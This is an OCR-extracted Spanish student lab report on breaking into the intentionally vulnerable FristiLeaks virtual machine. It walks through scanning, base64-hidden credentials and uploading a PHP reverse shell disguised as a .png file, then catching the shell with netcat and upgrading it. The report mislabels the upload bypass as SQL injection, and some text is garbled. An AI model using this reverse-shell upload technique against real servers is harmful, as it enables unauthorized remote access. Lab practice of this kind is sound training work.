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1 Introduccion

El presente informe tiene como finalidad documentar el proceso de explotacion de
vulnerabilidades en la maquina virtual Fristileaks mediante técnicas de SQL Injection utilizando
Kali Linux como sistema atacante.

Durante la practica, se configuraron las maquinas virtuales, se realizaron escaneos de red
con herramientas como Nmap y Dirb, se identificaron posibles puntos de inyeccion en la
aplicacion web y ademas, se consiguid acceso al sistema de Fristileaks. Finalmente, se realizaron
pruebas adicionales como la creacion de usuarios en la base de datos de la maquina victima y la

configuracion de politicas relacionadas con direcciones MAC en Ubuntu Desktop.



2.1

2 Objetivos

Objetivo General

Analizar y aplicar técnicas de SQL Injection desde Kali Linux hacia la maquina

vulnerable Fristileaks, con el fin de comprender el proceso de explotacion de vulnerabilidades en

aplicaciones web.

2.2

1)

2)

3)

4)

5)

Objetivo Especifico

Configurar correctamente las maquinas virtuales (Kali Linux y Fristileaks) en
VirtualBox para el desarrollo de las pruebas.

Realizar escaneos de red con herramientas como Nmap y Dirb para identificar
puertos, servicios y directorios vulnerables.

Ejecutar una inyeccion SQL en la aplicacion web de Fristileaks y obtener acceso
al sistema.

Escalar privilegios dentro de la maquina victima y crear usuarios en la base de
datos.

Replicar la configuracion de politicas de DHCP y MAC en Ubuntu Desktop para

analizar su funcionamiento.



3 Capitulo 1 SQL Injection Desde Kali Linux a Fristileaks.

A continuacidn, se muestran los pasos para realizar SQL injection desde Kali Linux a

Fristileaks.

Primero se debe importar la maquina virtual Fristileaks, para esto se utilizé VirtualBox.
Una vez dentro de VirtualBox en la opcion de archivo se selecciond la opcion de importar

servicio virtualizado.

“,—_, Oracle VirtualBox Administrador

Archive  Maquina Ayuda

éﬁ Preferencias... Control+G {::} I£|:||:I {5} |:<<>

{ Importar servicio virtualizado... Control+| Nueva Afadir  Configuracion Descartar  Iniciar
@ Exportar servicio virtualizado... Control+E E General
= i ient o Membre: Ubuntu
= erramientas Sistema operative:  Ubuntu (84-bit)
& Comprobar actualizaciones... 274115_6... Sistema
A\ Reiniciar todas las advertencias Mernoria base: 4005 MB
Procesadores: 2

@ Salir Control+Q Orden de arranque:  Disquete, Optica, Disco duro

= ommm e sRANANA Aceleracion: Paainacién anidada. Paravirtualizacia

llustracion 1 SQL Injection Desde Kali Linux a Fristileaks paso 1

Después, se selecciond la ova de Fristileaks.

E — =
5 Importar servicio virtualizado = O x

.~ Fuente

Fuente: Sisterna de archives local w

Archivo: | E

> Configuracién
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> g Franklin, UNIVEF MNombre Fecha de modificacién Tipo
~ Ayer

i 4/09/2025 &:56 2. m. i
Bl Escritoric o Lampiao 4709, Ga.m Carpeta de archi

v Al principio de esta semana
i Descargas

ni-usrp_23.3.1_cffline Carpeta de archi

@~ Documentos # ] o ]
_temp_matlab_R2025a_Windows 2/09/202512:57 p. m. Carpeta de archi

B Imigenes  # . Hace mucho tiempo

o Musica » | D FristiLeaks_1.3.0va 24/08/2021 12:17 p. m. Archivo OVA

u Videos »

Canturac de nar

Mombre de archivo: | FristiLeaks_1.3.0va V| Open Virtualization Format (.0 ~

atrolador USE: QHCI, EHCI
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Luego de haber seleccionado el archivo ova, se termino la configuracion y la maquina

Virtual se importd de manera correcta.

% Importar senvicio virtualizado = O >
o
< Fuente
Fuente: Sistema de archivos local w

Archivo: C:EUsers‘gHPKDDmrnIDads‘gFrisl:iLeaks_'l.3.:::1.ra| E

> Configuracién

1lustracion 4 SQL Injection Desde Kali Linux a Fristileaks paso 4

&l oAl

f*'.-! WINDOWS_XP
xp @Apagada Co.ntrc
Dispc
Contre
E:'ﬂ, Ubuntu Puert

@A agada

pad I:DII A
x64T W Fristil eaks 1 a: Contre
- @Apagada — Contre

= R
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Después de haber importado la maquina virtual FristiLeaks, se realizo las configuraciones
basicas de la maquina.
Primero se configuraron las opciones de portapapeles compartido y arrastrar y soltar de

forma bidireccional.

(3 FristiLeaks 1 - Settings - 0O %
Basic M Search settings £
kel
Q General General
. Basice  Avanzadoe Descripeidn Cifrado de disco
Sistema
Carpeta de instantdneas: ChlUsers\HP\VirtualBox VIMs\FristiLeaks 1\Snapshots ~
M| Pantaiia
Portapapeles compartido:  Bidireccional ~
i nica Arrastrar y soltar: Bidireccional ~
it
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Ademas, se deshabilito en las caracteristicas extendidas la opcion de habilitar I/O APIC.

Chipset:  PIIX3
@ Puertos serie
TPM: Minguno
ﬁ LSH Dispositive apuntader  Ratén P5/2 ~
lj Carpetas compartidas Caracteristicas extendidas: C] Habilitar |0 APIC

B Habilitar reloj hardware en tiempo UTC
EI Interfaz de usuario
(] Habilitar EFI (sdlo 50 especiales)

T I LS TR T

Invalid settings detected Cancelar Ayuda

I ¥ USB
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Por ultimo, se asigno la Red NAT en la opcion de habilitar adaptador de red.

2kd

E General Red

Sistema Adaptador 1 Adaptador2  Adaptador3  Adaptador4
B Habilitar adaptador de red
P
IE Pantalla
Conectado a:  Red NAT ~

SimacEnaTEE o Nombre: RED-SEMESTRES-2025 v
(D] o Tipo de adaptador:  Intel PRO/1000 MT Desktop (82540EM) ~

Mede promiscuo:  Denegar ~

N 1 Red
Direccién MAC: 020027CB4C04 @

@ Fuertos serie B Cable conectado

| (9 use
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Una vez terminado las configuraciones anteriores, se inicio la maquina, pero esta
maquina venia configurada para aceptar DHCP solo con una direccion MAC especifica por lo

cual no tenia una direccién IP.

Fristileaks vulnerable UM by ArBxna.

here =zeem to be issues with your networking :<
his UM needs bridged mode and-sor a DHCFP server.

localhost login:
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Para solucionar esto, se apago la maquina y en la configuracion de la Red NAT, la
direccion MAC que asigno por defecto VirtualBox se cambio por la que tenia predefinida

Fristileaks.
Modo FerrT'IISCLIEI: UEHEQET S

Direccién MAC: 080027CEB4C04 =

llustracion 10 SQL Injection Desde Kali Linux a Fristileaks paso 10

Direccign MAC: 030027ASABTE 5

Cable conectado

Celarrinnara al
{lustracion 11 SQL Injection Desde Kali Linux a Fristileaks paso 11

Luego de haber cambiado la direccion MAC, se inici6 la maquina nuevamente y esta

obtuvo la direccion IP 192.168.10.11

Fristileaks 1.3 vulnerable UM by ArBxA.
Goal: get root (uid B) and read the flag file

hanks to dgi and barrebas for testing?

IP address:192.168.168.11
localhost login:
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Después de terminar de configurar la maquina Fristileaks desde Kali Linux con la
herramienta nmap se realizo un escaneo al segmento de la red a la cual esta conectada Kali Y
Fristileaks, para ver los puertos vulnerables de esta maquina con el comando nmap -sV y el

segmento de red 192.168.10.0/24

zsh: corrupt history file /home/franklin/.zsh_history

~

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 20:09 -05

Hlustracion 13 SQL Injection Desde Kali Linux a Fristileaks paso 13

Luego se identifico que Fristileaks solo tenia el puerto 80 o el servicio http vulnerable.

Nmap scan report for 192.168.10.11

Host is up (0.0025s latency).

Not shown: 984 filtered tcp ports (no-response), 15 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.15 ((Cent0S) DAV/2 PHP/5.3.3)

MAC Address: 08:00:27:A5:A6:76 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
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Una vez se tuvo conocimiento de que Fristileaks tenia el servicio de http vulnerable desde
el navegador de Kali se digit6 la direccion IP de esta maquina y este mostro la siguiente pagina

web que se ve a continuacion.

B | 192.168.10.11/ B+

e C @ O & 192168101
OffSec Kali Linux # KaliTools ¢ KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

KEEP
CALM

AND

DRINK
FRISTI

Pristicaks 20131211 are:
‘@mener, @barrebas, @rikvdutn, @wezsforsec, @PYrORAINL, @OWUDE, Teinerk, @rmiamat, MisterXE, Bash, Dwight, Egelie, @pdersjant, @tepl30x10, @eimat gquest. @EQ,uinix,
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Después, se realizo la inspeccion del codigo fuente de esta pagina, como se ve en la

siguiente imagen.

Save Page As...

Save Page to Pocket

Select All

Take Screenshot
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Y se observo que el codigo era un codigo basico de una pagina web.

motto:</

. @5ander2121, Reinierk, @DearCharles, @miamat, MisterXE, BasB, Dwight, Egeltje

llustracion 17 SQL Injection Desde Kali Linux a Fristileaks paso 17

Luego de eso, se realizd la navegacion de la etiqueta de imagen donde se vio la imagen de

la pagina que antes se habia visto al navegar a la direccion IP de Frsitileaks.

& view-source:http://192.168.10.11/images/keep-calm.png

Tools « KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

KEEP

CALM
DRINK
FRISTI
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Una vez realizo todos los pasos anteriores dentro de Kali Linux con el comando dirb
http://192.168.10.11 se realizo un escaneo con la IP de FristiLeaks para buscar directorios y
archivos ocultos del sitio web de la maquina victima, este comando utiliza un diccionario de

diferentes palabras para probar distintas rutas en el servidor web.

.10.11/

/dirb/wordlists/common.txt

END_TIME
DOWNLOADED:
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Después de hacer el escaneo con el comando dirb, se accedio a la ruta del diccionario que
utiliza este comando, con el comando cd /usr/share/dirb/wordlints y se pudo ver que se pueden

utilizar diferentes diccionarios.

: corrupt history file /home/franklin/.zsh_history
/usr/share/dirb/wordlists/

/usr/share/dirb/wordlists

common. txt

ommon.txt

fusr/share/dirb/wordlists
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Ademas, con el comando cat se muestra algunas de las palabras que contine el archivo

common.tex, este es el diccionario que utiliza el comando dirb.

Jusr/share/dirb/wordlists

common.txt

.history
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Como se sabia que el comando dirb puede utilizar diferentes diccionarios, se realizo el
escaneo a la ruta de Fristileaks pero con el diccionario spanish,txt, con el comando dirb

http://192.168.10.11 /usr/share/dirb/wordlints/spanish,txt.

http://192.168.10.11 /usr/share/dirb/wordlists/spanish.txt

DIRB v2.22
By The Dark Raver

START_TIME: Fri Sep 5 20:17:59 2025
URL_BASE: http://192.168.10.11/
WORDLIST_FILES: /usr/share/dirb/wordlists/spanish.txt

GENERATED WORDS: 445

—— Scanning URL: http://192.168.10.11/ —
—> DIRECTORY: http://192.168.10.11/cola/

—— Entering directory: http://192.168.10.11/cola/ —

END_TIME: Fri Sep 5 20:18:07
DOWNLOADED: 890 - FOUND: @

~
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http://192.168.10.11/

Después de realizar el escaneo a la ruta de Fristileaks y una vez que este escaneo mostro
varias rutas ocultas desde el navegador de Kali se realizé la navegacion a cada uno de estos.

Primero a la ruta 192.168.10.11/cgi-bin/, pero no se tenia permiso para navegar a esa ruta.

8 / * 403 Forbidden

= C @ O A 192.168.10.11

OffSec Kali Linux & KaliTools ' Kali Docs X Kali Forums & Kali N

Forbidden

‘You don't have permission to access /cqgi-binf on this server.

Hlustracion 23 SQL Injection Desde Kali Linux a Fristileaks paso 23

Luego se navego a la ruta 192.168.10.11/images y este mostro dos rutas de imagenes con

extension jpg y png.

fimages

C O A 192.168.10.11

OffSec Kali Linux & Kali Tools <« KaliDocs & Kali Forums e\ Kali Net

Index of /images

Name Last modified Size Description

@ Parent Directory -
[§30374404pg  25-Nov-2015 03:30 105K
@ﬁp-ca,n‘, png  17-Nov-2015 12:20 34K

llustracion 24 SQL Injection Desde Kali Linux a Fristileaks paso 24

Se navego a una de estas imagenes y este mostro el siguiente resultado.

O A& 192.168.10.11

ux 8 KaliTools « KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

THIS IS NOT'THE

URL
e

|
.
A ~ o~ -
YOU WERE LOOKING™
¥
Enn t A

memegenerator.net

Hlustracion 25 SQL Injection Desde Kali Linux a Fristileaks paso 25



También se navego a la ruta 192.168.10.11/robots.txt y este mostro las siguientes rutas.

= *  192.168.10.11/robots.txt

O A& 192.168.10.11

OffSec Kali Linux #8 KaliTools = KaliDocs % Kali Forums e KaliM

User-agent:

Disallow

llustracion 26 SQL Injection Desde Kali Linux a Fristileaks paso 26

Primero se realiz6 la navegacion a ruta 192.168.10.11/cola, pero este mostro la siguiente

imagen.

« C @ QO & 192.168.10.11

OffSec Kali Linux # Kali Tools « KaliDocs X Kali Forums e\ Kali NetHu

Hlustracion 27 SQL Injection Desde Kali Linux a Fristileaks paso 27



Después se navego a la ruta 192.168.10.11/sis1 y mostro el mismo resultado.

= C @ O A 192.168.10.11

OffSec Kali Linux # KaliTools < KaliDocs ¥ Kali Forums

Hlustracion 28 SQL Injection Desde Kali Linux a Fristileaks paso 28

Y por ultimo, también se navego a la ruta 192.168.10.11/beer y este mostro el mismo

resultado.

« C o O A 192.168.10.11

OffSec Kali Linux # KaliTools « KaliDocs X KaliForu

Hustracion 29 SQL Injection Desde Kali Linux a Fristileaks paso 29



Después de no tener resultado con ninguna de las rutas anteriores, se realizo la
navegacion a la ruta 192.168.10.11/firti y este mostro la ventana o la pagina de inicio de sesion

de la pagina de FristiLeaks.

O
U

192.168.10.11

a
s « KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Welcome to #fristileaks admin portal

Member Login

Username: [ |

Password :[ |
[Login]

llustracion 30 SQL Injection Desde Kali Linux a Fristileaks paso 30

Se realizo la inspeccion del codigo fuente de esta pagina.

Member Login

Username:[ ]
Password ([ ]
| Login |

llustracion 31 SQL Injection Desde Kali Linux a Fristileaks paso 31

Y esta inspeccion moestra datos importantes como ek siguiente, que puede ser el usuario

para iniciar sesion.



Hlustracion 32 SQL Injection Desde Kali Linux a Fristileaks paso 32

Y tambien esta informacion que decia que habia una imagen png en base64, lo cual fue

muy interate saber.

come to #fristileaks a

oL 1m

llustracion 33 SQL Injection Desde Kali Linux a Fristileaks paso 33

También estaba esta parte del codigo que podia ser un codigo en base64.

llustracion 34 SQL Injection Desde Kali Linux a Fristileaks paso 34

Se utilizo una pagina en internet para saber que era ese codigo.



Decode from Base64 format ]
Simply enter your data then push the decode button.

04VajmwziEdZvmSz9E0Y bzbl/FSycgVSzZiXDNmS4cjCni+kLRngizXThUgOhEkso2k5pGyi0alg
i1n+skSqGOSIVSKCEZva+XH36vQzbIOVOtarWhGEMyRalLLp+Bbhy31k8SBhbjgpUNSHVHXImC2Fg
tOHOdrysrz404sdLPW1mulDLUdSpd EskavisGiqglxnfX88iu/PZy TVjHXImC2Z 1HSWVEBTUZhEWs
300Z0jk3y+pQo9inEGAINOcoIUNYSdgxrnk0JZKezwdNwgfinve AOUNISWDEUMYREZT2B+iwDh++Fl
3K/U+zZuFINWNcMmhLzUe2ven/dAWG+mLNIKGWISECKsMJIGo6+ecHEdvOUu4PnkgDIZrGuiS8HK
ulgiMrFG9goa/V TBBgORLUSTgFTIY UTtgsn/4+zfhVEaiilsczl GrGvGTIIsLLhiPbnhEKnLDU12qg
mD+0ckQ8nunpVeZ21RjTerEz0WqoZ+5IRWI1oXNE3ZVBMWUISTYIm+hDLkcI AtuHEUZWISIBE7TX 34
rPtAGIMLI0ZrgX6gud7alukRkVaylRfopk+9HNKHB5hNocTKC4P31Vebhd8fyVzOTCkgeBWIirrFhe
EPdM)O3SSys7XVF+gmT5UcmT9+Ss/ifyyOLU3KkWoGLA59ZKbEUs10IZMJAPSh5AGAL 3IEgBCSASCLH
AHgRY4ABCIHAHIRIWCBYBEAXUQIACIYBIAXOQLAIXWBAEWOAPAIRWBAKSMAVYMgRAFTKCAAVEgSAFZK
CwiscAeBFjgDwikcAeJEJALZIEQBeSAgAL3IEgBCcSASCLHAHGRY4ABPN9/QNaT zik1gtycQAAAABIR
USErkJggg==|

M Crr areeced hinarisae files imnmnse deecomseerte st L oes the fils omlasel faeen s lita foarther deamm s Hrie mooee,

Hlustracion 35 SQL Injection Desde Kali Linux a Fristileaks paso 35

Y al ingresar el codigo este mostro que era una extension en PNG.

- TONEREEEEEEN . _ ... .oy mmemimiemy ey e e SOOI ... o et et s mrem g

UTF-8 ~  Source character set.
Decode each line separately (useful for when you have multiple entries).

@ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

L[ =lola]o] BB BN Decodes your data into the area below.

PNG

Hlustracion 36 SQL Injection Desde Kali Linux a Fristileaks paso 36

Para saber que imagen era, se utilizo una nueva pagina de internet y se ingreso el codigo
nuevamente y este mostro la siguiente imagen, el cual podria ser la contrasefia de inicio de

sesion.

3VBORWBKGGOAAAANSUREUGAAAWBAAABLCATAAAABAUHGAAAAAXNSROTAT s 4CEQAAAA
RNQUIBAACX
JWVBYQUAAAAICENZCWAADSMAAATDACAVGGQAAARSSURBYHNe 7d LRt SQEIVhr8sLEn
qymmm Bk L

S81AQGYENBO1//
dWSQYTgdxz2t5+AcCHHAHGRYAABCJHAHLRIWCEYBEAXUQTACIYBIAXOQLALXW
BAEWOAPARwB4KSMAVHGRAF 7kCAAVCgSAFzkCuIscAeBF ] gDwIkcAe JEjALZIEQBeS
AQALSKC+T

m63yaP7/

XP/5RUM2jx7iMz1ZdqpguZHP1+2J053b9+1gd/BTL 2Wul15+RMpIgS tMTKELpaH1VX keKkeKKeKKeKkEkkEk
a7

27/

d516qse0t9riabUMsR1+WrOR172DbdWKGZS tMPqG 1BLRhzyWjWKTFDPXFmuLC7e81
DXNNOVD

DpYZOMN1Wqp 1L SOw+0aXwomXXt ThL8e6k+1rNdDFu 0QNIOXDKtHMpSUNNOBSeGF51
bUcT6k+ViNd

3JQjee wepPC] LLNXFpi8gK EXTNVEYSAGUPINGPECD lyKB3dyPLPSTVZZYn IRTROWH

EiFGVSNrDU
120me/1

Import from file Save as... Copy to clipboard i Saveas... Copy to clipboard

Hlustracion 37 SQL Injection Desde Kali Linux a Fristileaks paso 37

Después de conocer cudl podria ser el usuario y contrasefia de inicio de sesion, se ingresé
nuevamente a la pagina de inicio de sesion de Fristileaks y se ingreso en el campo usuario

eezeepz y en el campo contrasefia keKkeKKeKKeKkEKKEK.



Welcome to #iristileaks admin portal

Member Login
Username : |eezeepz |
Password : [keKkeKKeKKeKKEKKEK |

(Login)

llustracion 38 SQL Injection Desde Kali Linux a Fristileaks paso 38

Y cuando se dio clic en el boton login, mostro la siguiente ventana que mostro que el

inicio de sesion fue exitoso. Ademads del mensaje, esa ventana muestro un link y se dio clic en é€l.

Kali Linux #& KaliTools = KaliDocs % Kali Forums e\ Kali NetHunter Exploi

Login successful

upload file

Llustracion 39 SQL Injection Desde Kali Linux a Fristileaks paso 39

Cuando se dio clic en ese link, este automaticamente mostro una ventana donde se debia

subir una imagen.

10.11

Kali Linux # KaliTools = KaliDocs ¥ Kali Forums e Kali NetHunter

Select image to upload:
| Browse... | No file selected. | Upload Image |

Hlustracion 40 SQL Injection Desde Kali Linux a Fristileaks paso 40

Se cargo una imagen a esta ventana en formato png.



Recientes 4« # franklin

arpeta personal Nombre ~ Tamaho Tipo Modificado

scritorio utch.jpeg 16,6 kB Imagen  Ayer
[ utch.png 50kB Imagen Ayer

Documentos

Hlustracion 41 SQL Injection Desde Kali Linux a Fristileaks paso 41

Asi como se muestra en la siguiente imagen y cunado se subio la imagen, se dio clic en el

boton Uplpad Image.

Kali Linux g8 Kali Tools

Select image to upload:
| Browse... | utch.png | Upload Image |

Hlustracion 42 SQL Injection Desde Kali Linux a Fristileaks paso 42
Y cuando de dio clic en el boton anterior, muestra la siguiente ruta.
i

\/ i

Kali Linux §& KaliTools # Kali

Uploading, please wait
The file has been uploaded to fuploads

llustracion 43 SQL Injection Desde Kali Linux a Fristileaks paso 43

Se navega a esa direccion desde el navegador de Kali.

and En
Q 192.168.10.11/fristi/uploads

@ http://192.168.10.11/fristifuploads — Visit

vith: @ b @

Hlustracion 44 SQL Injection Desde Kali Linux a Fristileaks paso 44

Y ingresar a ese link, mostro la siguiente ventana.



(3 192.168.10.11

Kali Linux # KaliTools = KaliDocs 3 Kali Forums e KaliN

Hlustracion 45 SQL Injection Desde Kali Linux a Fristileaks paso 45

Después de no tener acceso a través de la imagen que se habia subido. Se probo subiendo

un archivo en extension text.

Primero se elegio el archivo.

B wusr share dirb

Nombre Modificado
others a
stress

]
[ ] big.txt 184,1kB Texto 24 ene 2012

Texto 27 ene 2012

B catala.txt 1,3kB

llustracion 46 SQL Injection Desde Kali Linux a Fristileaks paso 46
Después, se dio clic en el boton Upload Image.

Kali Linux & KaliTools <« Kali Docs

Select image to upload:
| Browse... | big.txt | Upload Image |

1lustracion 47 SQL Injection Desde Kali Linux a Fristileaks paso 47

Pero no al clic en el boton, este mostro el siguiente mensaje que dice que solo se acepta

archivos en extension png, jpg y gif.

KaliLinux #& KaliTools « KaliDocs X Kali

Sorry, is not a valid file. Only allowed are: png,jpg,gif
Sorry, file not uploaded

Hlustracion 48 SQL Injection Desde Kali Linux a Fristileaks paso 48



Al conocer esta informacion, se utilizo un archivo con extension php para realizar SQL
injection desde Kali a Fristileaks, pero como la pagina que se va a atacar solo acepta archivo en
extension png, jpg y git, ese archivo se va a modificar y el nombre se pondra en extension png.

Para la configuracion del arhcivo, primero se ingresé al modo super usuario de Kali y se
accedio a la ruta /usr/share/webshells con el comando cd.

Luego se listaron las acrpetas que tenia esa carpeta con el comando Is. Después se accede

a la carpeta php con el comando cd y con el comando Is se listan los archivos de esa carpeta.

/home/franklin

/usr/share/webshells

/usr/share/webshells

/usr/share/webshells/php
php-backdoor.php php-reverse-shell.php gsd-php-backdoor.php simple-backdoor.php

/usr/share/webshells/php

Hustracion 49 SQL Injection Desde Kali Linux a Fristileaks paso 49

Y el archivo que se utilizo es el que tenia como nombre php-reverse-shell.php.

php-reverse-shell.php

Hlustracion 50 SQL Injection Desde Kali Linux a Fristileaks paso 50

Después, se pego el archivo antes mencionado al escritorio de Kali Linux con el comando
cp php-reverse-shell.php y la ruta del escritorio, la cual era /home/franklin/Escritorio. Ademas, se

accedio a la carpeta Escritorio con el comando cd y la ruta del escritorio.

/usr/share/webshells/php
shell. php franklin/Escritorio

fusr/share/webshells/php
f critor ilj_']

llustracion 51 SQL Injection Desde Kali Linux a Fristileaks paso 51



Luego con el comando Is se listo el archivo copiado y ademas con el comando cp y el
nombre del archivo se copid este mismo archivo pero con un nombre diferente y en formato .png

y por ultimo con el comando Is se listaron los archivo que tenia la carpeta escritorio.

/home/franklin/Escritorio

php-reverse-shell.php

/home/franklin/Escritorio
php-reverse-shell.php frankl :

/home/franklin/Escritorio
franklin.php.png php-reverse-shell.php

/home/franklin/Escritorio

Hlustracion 52 SQL Injection Desde Kali Linux a Fristileaks paso 52

Una vez copiado el archivo y con el formato que se necesitaba, se modificé ese archivo

con el comando nano y el nombre del archivo.

/home/franklin/Escritorio
n.php :

/home/franklin/Escritorio

llustracion 53 SQL Injection Desde Kali Linux a Fristileaks paso 53

Y alli dentro del archivo se modifica la variable IP, alli se puso la IP de Kali Linux.

set_time_limit (0);

$VERSION = "1.0";

$ip = '192.168.10.6Q; // CHANGE THIS
$port = 1234; // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = ‘uname -a; w; id; /bin/sh -i‘;
$daemon = 0;

$debug =

llustracion 54 SQL Injection Desde Kali Linux a Fristileaks paso 54

Cuando se termino de configurar el archivo, se seleccion6 el archivo en formato .png.



<« #franklin = Escritorio

Nombre ~ Tamaho Tipo Modificado

= franklin.php.png 5,5kB Programa 20:42
@ php-reverse-shell.php 5,5kB Programa

llustracion 55 SQL Injection Desde Kali Linux a Fristileaks paso 55

Asi como se ve en la siguiente imagen. Y se dio clic en el boton Upload Imagen.

QO & 192.168.10.11

KaliLinux #8 Kali Tools = KaliDocs ¥ Kali Ferums e Kali NetHunter Exploit-DB Google Hacking DB

Select image to upload:
| Browse.... | franklin.php.png | Upload Image |

llustracion 56 SQL Injection Desde Kali Linux a Fristileaks paso 56

Al dar clic en el botén anterior, muestra una ruta.

O & 192.168.10.11

Kali Linux # KaliTools = KaliDocs ™ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Uploading, please wait
The file has been uploaded to fuploads

llustracion 57 SQL Injection Desde Kali Linux a Fristileaks paso 57

Se accedio a esta ruta.

192.168.10.11/fristi/uploads

@ http:/[192.168.10.11/fristi/uploads — Visit

Ilustracion 58 SQL Injection Desde Kali Linux a Fristileaks paso 58

Y este mostro el mismo mensaje que con la imagen, es decir jno!



192.168.10.11/fristi/uploads/

168.10.1

KaliLinux & KaliTools <« KaliDocs M Kali Forums ¢ Kali

Hlustracion 59 SQL Injection Desde Kali Linux a Fristileaks paso 59

Pero desde Kali Linux se utilizé el comando nc -lvp y el puerto que tenia el archivo que
se configuro anteriormente, este puerto era 1234 y se ejecutd el comando.

Este comando se utiliza para escuchar todo lo que esta traficando por ese puerto.

llustracion 60 SQL Injection Desde Kali Linux a Fristileaks paso 60

Luego se accedi6 al archivo pero a través del navegador junto con la ruta que mostraba el
mensaje de jno!.
Q. 192.168.10.11/fristi/uploads/franklin.php-png

@ 192.168.10.11/fristi/uploads/franklin.php.png — Visit

This with: @ b @

llustracion 61 SQL Injection Desde Kali Linux a Fristileaks paso 61

Al navegar a este archivo la ventana del navegador se quedo cargando.
BeEmPoil| 23 +[@F]
B - 192.168.10.11/fristifuple

< X @ Q  192.168.10.11

OffSec KaliLinux # KaliTeels = KaliDocs ® Kali Forums e Kali NetHunter Exploit-DB

no!

llustracion 62 SQL Injection Desde Kali Linux a Fristileaks paso 62



Pero cuando se ingreso6 a Kali Linux, se observo por medio comando nc -lvp y el puerto

1234, se habia accedido al sistema de Fristileaks a través de SQL injection.

zsh: corrupt history file

11;T»=nmq on [an

localhost. 101 1d 1.el6.x86 1 e v 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

up 41 mln, 1
S TTY € IDLE JCcPU PC F'U WHAT
uid=48(apache) gid= C g1 che)
sh: no job control in ‘rhl, 11

4.135

Hlustracion 63 SQL Injection Desde Kali Linux a Fristileaks paso 63

Una vez dentro se ejecutd el comando ifconfig para observar la direccion IP de la
maquina y esta muestra la IP 192.168.10.11 que efectivamente era la misma IP que se observo al

configurar la red NAT de Fristileaks.

-4.1% ifconfig

ifconfig

ethd Link encap:Ethernet HWaddr @B:HH'WT'AR'AE'TE
inet addr:192.168.18.11 Bcast:192.168.18 Mask:255.2
inets addr: fe80::a@B@:27ff:feak:a676/64 quape.Link
UP BROADCAST RUNNING MULTICAST MTU:158@ Metric:1
RX packets:36173 errors:® dropped:® overruns:@ frame:(
TX packet errors:@ d:appﬂd @ overruns:® carrier:@
collisions Xue 1pn:1
RX bytes:

inet addr =
inet6 add :z1/128 ﬁrap._Hag
UP LOOPBACK RUNNING MTU:65536 Metric:1
ckets:114 errors:@ dropped:@ overruns:@
cets:114 errors:@ dropped:@ overruns:@
collisions:® txgueuelen:@
RX bytes: 8 (11.9 KiB) TX bytes:12278 (11.9 KiB)

llustracion 64 SQL Injection Desde Kali Linux a Fristileaks paso 64

Y esto fue todos los pasos que se realizaron para lograr acceder al sistema Fristileaks a

través del servicio http y utilizando SQL injection.



4 Capitulo 2 Crear Dos Usuarios a La Maquina FristiLeaks.

Una vez dentro del sistema Fristileaks, como se hara para crear dos usuarios y que se
puede iniciar sesion correctamente desde la pagina de esta maquina virtual.

Acerca de esa tematica se basa el segundo capitulo de este informe, se muestra que pasos
se realizaron para lograr crear estos dos usuarios.

Para crear estos dos usuarios una vez dentro del sistema, primero se ejecutéd el comando Is

-la para listar todas las carpetas de esta maquina virtual.

40896 Se

.autofsck
.autorelabel
bin
boot
dev
etc
home
5 lib
5 libb4
5 lost+found
1 media
mnt
opt
b proc
root
sbin
selinux

=

T N

~
L%, Iy =]

[+-]

9

llustracion 65 Crear Dos Usuarios a La Maquina FristiLeaks paso 1

Pero para realizar correctamente este proceso se debe escalar privilegios dentro del
sistema o para escalar el Shell. Para escalar de privilegios o de Shell se ejecuto el comando

Python -c import pty:pty.spawn(‘“/bin/bash”) esta utlima parte en comillas simples.



sh-4.1% python -c "import pty;pty.spawn(”/bin/bash”}"
python -c "import pty;pty.spawn("/bin/bash")

n

bash-4.15%

Hlustracion 66 Crear Dos Usuarios a La Maquina FristiLeaks paso 2

Y una vez escalado el Shell, se ejecut6 el comando Is -la nuevamente para observar las
carpetas generales del sistema Fristileaks.
Entre todas esas carpetas se observo la carpeta var, donde normalmente se suben todas las

paginas de estas maquina o sistemas.

LA Lh

.autofsck
L=l r iz 13 .autorelabel
T -XT—X. 2r Lol r17 bin
@ boot
dev
etc
home
lib
libs4
lost+found
media
mnt
opt
proc
root
shin
selinux
STV
SYS
tmp
usr
var

LA

Hustracion 67 Crear Dos Usuarios a La Mdquina FristiLeaks paso 3



Se accedid a esta carpeta con el comando cd var. Y con el comando s -la se listaron todas

las carpetas que estaban dentro de la carpeta var.

root
root
root
root
root
fristigod
root
root
root
lock
root
root
root
root
root
root
root
root
root
root

[s4]

[ ]

(=Tl [-]

db

empty
fristigod
games

lib

local

lock

log

mail — spool/mail
nis

opt
preserve
run
spool
tmp

T

yp

Hlustracion 68 Crear Dos Usuarios a La Maquina FristiLeaks paso 4

Dentro de la carpeta var, se observo la carpeta www, se accedio a esta con el comando cd

www y luego se listaron las carpetas y archivos en esta carpeta.

bash-4.1% ¢
cd wew

-T'W-I'—I—

bash-4.1% |}

d e

-
7

= L

llustracion 69 Crear Dos Usuarios a La Maquina FristiLeaks paso 5



Dentro de www se observo la carpeta html y se accedi6 a esta con el comando cd html y

se listaron los archivos y carpetas de esta carpeta www.

bash-4.1% cd html
cd html
bash-4.1% 1s -1a

ht

apache 4096

-TW-T—T
drwxr-xr-x

Sy A T T Y Y ]

Hlustracion 70 Crear Dos Usuarios a La Maquina FristiLeaks paso 6

Dentro de la carpeta html se observo la carpeta fristi, se accedio6 a esta con el comando cd

friti y se listaron los archivos se esta carpeta con el comando s -la.

&
=
(%3]

=
= O

checklogin.php
do_upload.php

index.php — main_login.php
login_success.php
logout.php

main_login.php

pic.b64

pic2.b6k

upload.php

uploads

rf =

Ll

WO = = =D W0
(%3]

-'W-r—r—.
-'W-r—r—.
-'W-r—r—.

7
1
1
1
1
1
1
1
1
1

Hustracion 71 Crear Dos Usuarios a La Maquina FristiLeaks paso 7



Dentro de la carpeta fristi se observo el archivo checklogin.php que podria ser el archivo
de configuracion para la conexion de la pagina web a la base de datos.
